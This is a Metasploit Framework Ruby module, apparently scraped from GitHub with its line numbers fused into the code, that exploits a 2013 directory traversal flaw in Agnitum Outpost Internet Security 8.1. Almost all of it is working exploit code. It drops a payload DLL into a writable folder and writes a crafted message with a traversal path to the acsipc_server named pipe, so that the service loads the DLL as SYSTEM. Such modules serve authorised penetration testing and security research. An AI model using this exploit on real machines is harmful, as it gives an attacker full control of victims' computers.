Path: blob/master/modules/exploits/windows/local/agnitum_outpost_acs.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Exploit::EXE9include Msf::Post::File10include Msf::Post::Windows::Priv11include Msf::Post::Windows::Process12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(16update_info(17info,18{19'Name' => 'Agnitum Outpost Internet Security Local Privilege Escalation',20'Description' => %q{21This module exploits a directory traversal vulnerability on Agnitum Outpost Internet22Security 8.1. The vulnerability exists in the acs.exe component, allowing the user to load23arbitrary DLLs through the acsipc_server named pipe, and finally execute arbitrary24code with SYSTEM privileges. This module has been tested successfully on Windows 7 SP1 with25Agnitum Outpost Internet Security 8.1 (32 bits and 64 bits versions).26},27'License' => MSF_LICENSE,28'Author' => [29'Ahmad Moghimi', # Vulnerability discovery30'juan vazquez' # MSF module31],32'Arch' => [ARCH_X86, ARCH_X64],33'Platform' => 'win',34'SessionTypes' => [ 'meterpreter' ],35'Privileged' => true,36'Targets' => [37[ 'Agnitum Outpost Internet Security 8.1', {} ],38],39'Payload' => {40'Space' => 2048,41'DisableNops' => true42},43'References' => [44[ 'OSVDB', '96208' ],45[ 'EDB', '27282' ]46],47'DisclosureDate' => '2013-08-02',48'DefaultTarget' => 0,49'Compat' => {50'Meterpreter' => {51'Commands' => %w[52stdapi_railgun_api53stdapi_sys_config_getenv54]55}56},57'Notes' => {58'Reliability' => UNKNOWN_RELIABILITY,59'Stability' => UNKNOWN_STABILITY,60'SideEffects' => UNKNOWN_SIDE_EFFECTS61}62}63)64)6566register_options([67# It is OptPath becuase it's a *remote* path68OptString.new("WritableDir", [ false, "A directory where we can write files (%TEMP% by default)" ]),69# By default acs.exe lives on C:\Program Files\Agnitum\Outpost Security Suite Pro\70OptInt.new("DEPTH", [ true, "Traversal depth", 3 ])71])72end7374def junk75return rand_text_alpha(4).unpack("V").first76end7778def open_named_pipe(pipe)79invalid_handle_value = 0xFFFFFFFF8081r = session.railgun.kernel32.CreateFileA(pipe, "GENERIC_READ | GENERIC_WRITE", 0x3, nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL", 0)8283handle = r['return']8485if handle == invalid_handle_value86return nil87end8889return handle90end9192def write_named_pipe(handle, dll_path, dll_name)93traversal_path = "..\\" * datastore["DEPTH"]94traversal_path << dll_path.gsub(/^[a-zA-Z]+:\\/, "")95traversal_path << "\\#{dll_name}"9697path = Rex::Text.to_unicode(traversal_path)9899data = "\x00" * 0x11100data << path101data << "\x00\x00"102data << "\x00\x00\x00"103104buf = [0xd48a445e, 0x466e1597, 0x327416ba, 0x68ccde15].pack("V*") # GUID common_handler105buf << [0x17].pack("V") # command106buf << [junk].pack("V")107buf << [data.length].pack("V")108buf << [0, 0, 0].pack("V*")109buf << data110111w = client.railgun.kernel32.WriteFile(handle, buf, buf.length, 4, nil)112113if w['return'] == false114print_error("The was an error writing to disk, check permissions")115return nil116end117118return w['lpNumberOfBytesWritten']119end120121def check122handle = open_named_pipe("\\\\.\\pipe\\acsipc_server")123if handle.nil?124return Exploit::CheckCode::Safe125end126127session.railgun.kernel32.CloseHandle(handle)128return Exploit::CheckCode::Detected129end130131def exploit132temp_dir = ""133134print_status("Opening named pipe...")135handle = open_named_pipe("\\\\.\\pipe\\acsipc_server")136if handle.nil?137fail_with(Failure::NoTarget, "\\\\.\\pipe\\acsipc_server named pipe not found")138else139print_good("\\\\.\\pipe\\acsipc_server found! Proceeding...")140end141142if datastore["WritableDir"] and not datastore["WritableDir"].empty?143temp_dir = datastore["WritableDir"]144else145temp_dir = client.sys.config.getenv('TEMP')146end147148print_status("Using #{temp_dir} to drop malicious DLL...")149begin150cd(temp_dir)151rescue Rex::Post::Meterpreter::RequestError152session.railgun.kernel32.CloseHandle(handle)153fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory")154end155156print_status("Writing malicious DLL to remote filesystem")157write_path = pwd158dll_name = "#{rand_text_alpha(10 + rand(10))}.dll"159begin160# Agnitum Outpost Internet Security doesn't complain when dropping the dll to filesystem161write_file(dll_name, generate_payload_dll)162register_file_for_cleanup("#{write_path}\\#{dll_name}")163rescue Rex::Post::Meterpreter::RequestError164session.railgun.kernel32.CloseHandle(handle)165fail_with(Failure::BadConfig, "Failed to drop payload into #{temp_dir}")166end167168print_status("Exploiting through \\\\.\\pipe\\acsipc_server...")169bytes = write_named_pipe(handle, write_path, dll_name)170session.railgun.kernel32.CloseHandle(handle)171172if bytes.nil?173fail_with(Failure::Unknown, "Failed while writing to \\\\.\\pipe\\acsipc_server")174end175end176end177178179